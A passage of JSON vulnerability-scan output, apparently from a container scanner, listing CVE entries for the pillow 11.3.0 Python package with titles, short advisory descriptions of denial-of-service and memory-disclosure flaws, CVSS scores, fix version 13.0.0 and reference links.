"redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112404", "https://advisory.echohq.com/cve/CVE-2026-112404", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96", "https://nvd.nist.gov/vuln/detail/CVE-2026-112404", "https://www.cve.org/CVERecord?id=CVE-2026-112404" ], "PublishedDate": "2026-10-19T22:17:07.9Z", "LastModifiedDate": "2026-10-28T16:17:02.273Z" }, { "VulnerabilityID": "CVE-2026-112406", "VendorIDs": [ "GHSA-f2g6-542v-9j58" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112406", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:55562fb9bfd56c5adb190a02a65e9275c54e83c225294873874acca4866fd236", "Title": "pillow: pillow: Denial of Service via infinite loop during PDF page rewriting", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112406", "https://advisory.echohq.com/cve/CVE-2026-112406", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-82408/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/b3ebf20c694f2f12537a629c30229a1d5a53f777", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-f2g6-542v-9j58", "https://linux.oracle.com/cve/CVE-2026-112406.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112406", "https://www.cve.org/CVERecord?id=CVE-2026-112406" ], "PublishedDate": "2026-10-19T22:17:08.153Z", "LastModifiedDate": "2026-10-27T14:59:51.513Z" }, { "VulnerabilityID": "CVE-2026-112892", "VendorIDs": [ "GHSA-gg2r-wvfm-q9rx" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112892", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:74f1a516420606a884990d5bebee690b9763e521b73a60051a17396db1b08ca5", "Title": "pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder", "Description": "Pillow is a Python imaging library. From 4.1.0 until 13.0.0, Pillow's MSP RLE decoder can expand a small file into an unbounded in-memory buffer. The decoder writes run-length output to BytesIO without limiting expansion to the declared image size. An attacker can supply a crafted MSP image to an application that loads its pixels. This can exhaust memory and deny service even when the declared pixel count passes the decompression-bomb check. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-409" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112892", "https://advisory.echohq.com/cve/CVE-2026-112892", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-81271/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/5dcb630b9798efd91929cb873d677aeee6ed0bb3", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-gg2r-wvfm-q9rx", "https://linux.oracle.com/cve/CVE-2026-112892.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112892", "https://www.cve.org/CVERecord?id=CVE-2026-112892" ], "PublishedDate": "2026-10-19T22:17:09.21Z", "LastModifiedDate": "2026-10-27T14:59:30.563Z" }, { "VulnerabilityID": "CVE-2026-112893", "VendorIDs": [ "GHSA-j4m9-6w36-pw47" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112893", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:420c11bcdc2a1619638888f8fb13b7750389c3143e16450c8b9738379a415ac6", "Title": "pillow: Pillow: Denial of Service via invalid pointer free during font rendering", "Description": "Pillow is a Python imaging library. From 10.0.0 until 13.0.0, Pillow can free an invalid glyph pointer during FreeType rendering with an active stroker. If FT_Load_Glyph fails, cleanup may call FT_Done_Glyph on an uninitialized or stale glyph variable. An attacker can supply a malformed font as untrusted bytes to an application that draws text with a nonzero stroke width, forcing the glyph-load failure path. This can corrupt memory or crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-457", "CWE-763" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112893", "https://advisory.echohq.com/cve/CVE-2026-112893", "https://getsafety.com/v/SFTY-20261021-31867/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47", "https://nvd.nist.gov/vuln/detail/CVE-2026-112893", "https://www.cve.org/CVERecord?id=CVE-2026-112893" ], "PublishedDate": "2026-10-19T22:17:09.35Z", "LastModifiedDate": "2026-10-28T16:17:02.413Z" }, { "VulnerabilityID": "CVE-2026-112894", "VendorIDs": [ "GHSA-jg86-v3jv-hrpm" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112894", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:ee30c7da92e1009fb3e5585eb027e5d0c97063830e2b488e27c69dbb93015354", "Title": "pillow: pillow: Denial of Service via crafted multi-frame image conversion", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow takes quadratic time to reserve PDF object identifiers when saving many frames with save_all enabled. PdfParser.next_object_id() repeatedly rebuilds and scans all previously reserved identifiers for every object. An attacker can supply a multi-frame image, including a small APNG with a large declared frame count, to an application that converts it to a multipage PDF. This can consume excessive CPU and deny service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112894", "https://advisory.echohq.com/cve/CVE-2026-112894", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-17221/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/f6a852555f1a1bdff7781abf25f1a3b8bd6ce6cb", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-jg86-v3jv-hrpm", "https://linux.oracle.com/cve/CVE-2026-112894.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112894", "https://www.cve.org/CVERecord?id=CVE-2026-112894" ], "PublishedDate": "2026-10-19T22:17:09.483Z", "LastModifiedDate": "2026-10-27T14:56:28.823Z" }, { "VulnerabilityID": "CVE-2026-112895", "VendorIDs": [ "GHSA-p4wg-p73j-c528" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112895", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:72a6c7331c972f0a2359939d489df1aeb7d6f3ed96bf860fa3924eef470e3cb4", "Title": "pillow: pillow: Denial of service via crafted PDF during append operations", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can exhaust resources while parsing an existing PDF during an append operation. PdfParser follows page-tree child references without cycle or duplication tracking and follows previous-trailer chains with only an exact repeated-offset guard, so deep or cyclic page trees and long chains of unique trailer offsets can exhaust the Python stack. Repeated non-cyclic /Kids references can also cause super-linear CPU and memory use. An attacker can supply such a PDF to an application that calls Image.save with PDF append enabled. This can raise an uncaught RecursionError or consume excessive CPU and memory before output is written, causing denial of service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-674" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112895", "https://advisory.echohq.com/cve/CVE-2026-112895", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528", "https://linux.oracle.com/cve/CVE-2026-112895.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112895", "https://www.cve.org/CVERecord?id=CVE-2026-112895" ], "PublishedDate": "2026-10-19T22:17:09.62Z", "LastModifiedDate": "2026-10-27T14:56:20.7Z" }, { "VulnerabilityID": "CVE-2026-112896", "VendorIDs": [ "GHSA-pchr-8j38-3x4p" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112896", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a3089b73d452c3cbc64595b86a6245267ec601163e44be023a81b4570cf71cca", "Title": "pillow: Pillow: Denial of Service via out-of-bounds read in TIFF encoder", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's TIFF encoder can read beyond a ColorMap buffer when retained TIFF metadata has a plane size inconsistent with BitsPerSample. A small TIFF can be opened normally and then retain a crafted ColorMap that is reused when the image is saved. An application that re-encodes the attacker's TIFF with libtiff can trigger the out-of-bounds read. This can disclose heap memory in the output or crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112896", "https://advisory.echohq.com/cve/CVE-2026-112896", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/d03dc3c587a9b0bdc9e4304d70d59a635a87b742", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-pchr-8j38-3x4p", "https://nvd.nist.gov/vuln/detail/CVE-2026-112896", "https://www.cve.org/CVERecord?id=CVE-2026-112896" ], "PublishedDate": "2026-10-19T22:17:09.76Z", "LastModifiedDate": "2026-10-27T14:55:49.017Z" }, { "VulnerabilityID": "CVE-2026-112897", "VendorIDs": [ "GHSA-q45j-58j2-45rg" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112897", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:503b8e95ef0236ffebd238f83234fd496187b2ed73c63fc5fadcf9a598c1d59f", "Title": "pillow: pillow: Information disclosure via uninitialized buffer in TIFF decoding", "Description": "Pillow is a Python imaging library. From 5.3.0 until 13.0.0, Pillow can return uninitialized memory as pixels when libtiff performs a short decode of JPEG-compressed or Group 4 fax TIFF data. The _decodeStrip and _decodeTile buffers can be larger than the bytes written by libtiff, but Pillow converts the expected rows without clearing the unwritten tail. The tile path is affected from 5.3.0 and the strip path from 6.0.0. An attacker can supply a crafted TIFF to an application that loads and returns or re-encodes its pixels. This can disclose stale heap contents without memory corruption or a process crash. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-908" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 6.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112897", "https://advisory.echohq.com/cve/CVE-2026-112897", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-q45j-58j2-45rg", "https://nvd.nist.gov/vuln/detail/CVE-2026-112897", "https://www.cve.org/CVERecord?id=CVE-2026-112897" ], "PublishedDate": "2026-10-19T22:17:09.9Z", "LastModifiedDate": "2026-10-27T14:55:26.993Z" }, { "VulnerabilityID": "CVE-2026-112902", "VendorIDs": [ "GHSA-xvh5-g6gv-559v" ], "PkgName": 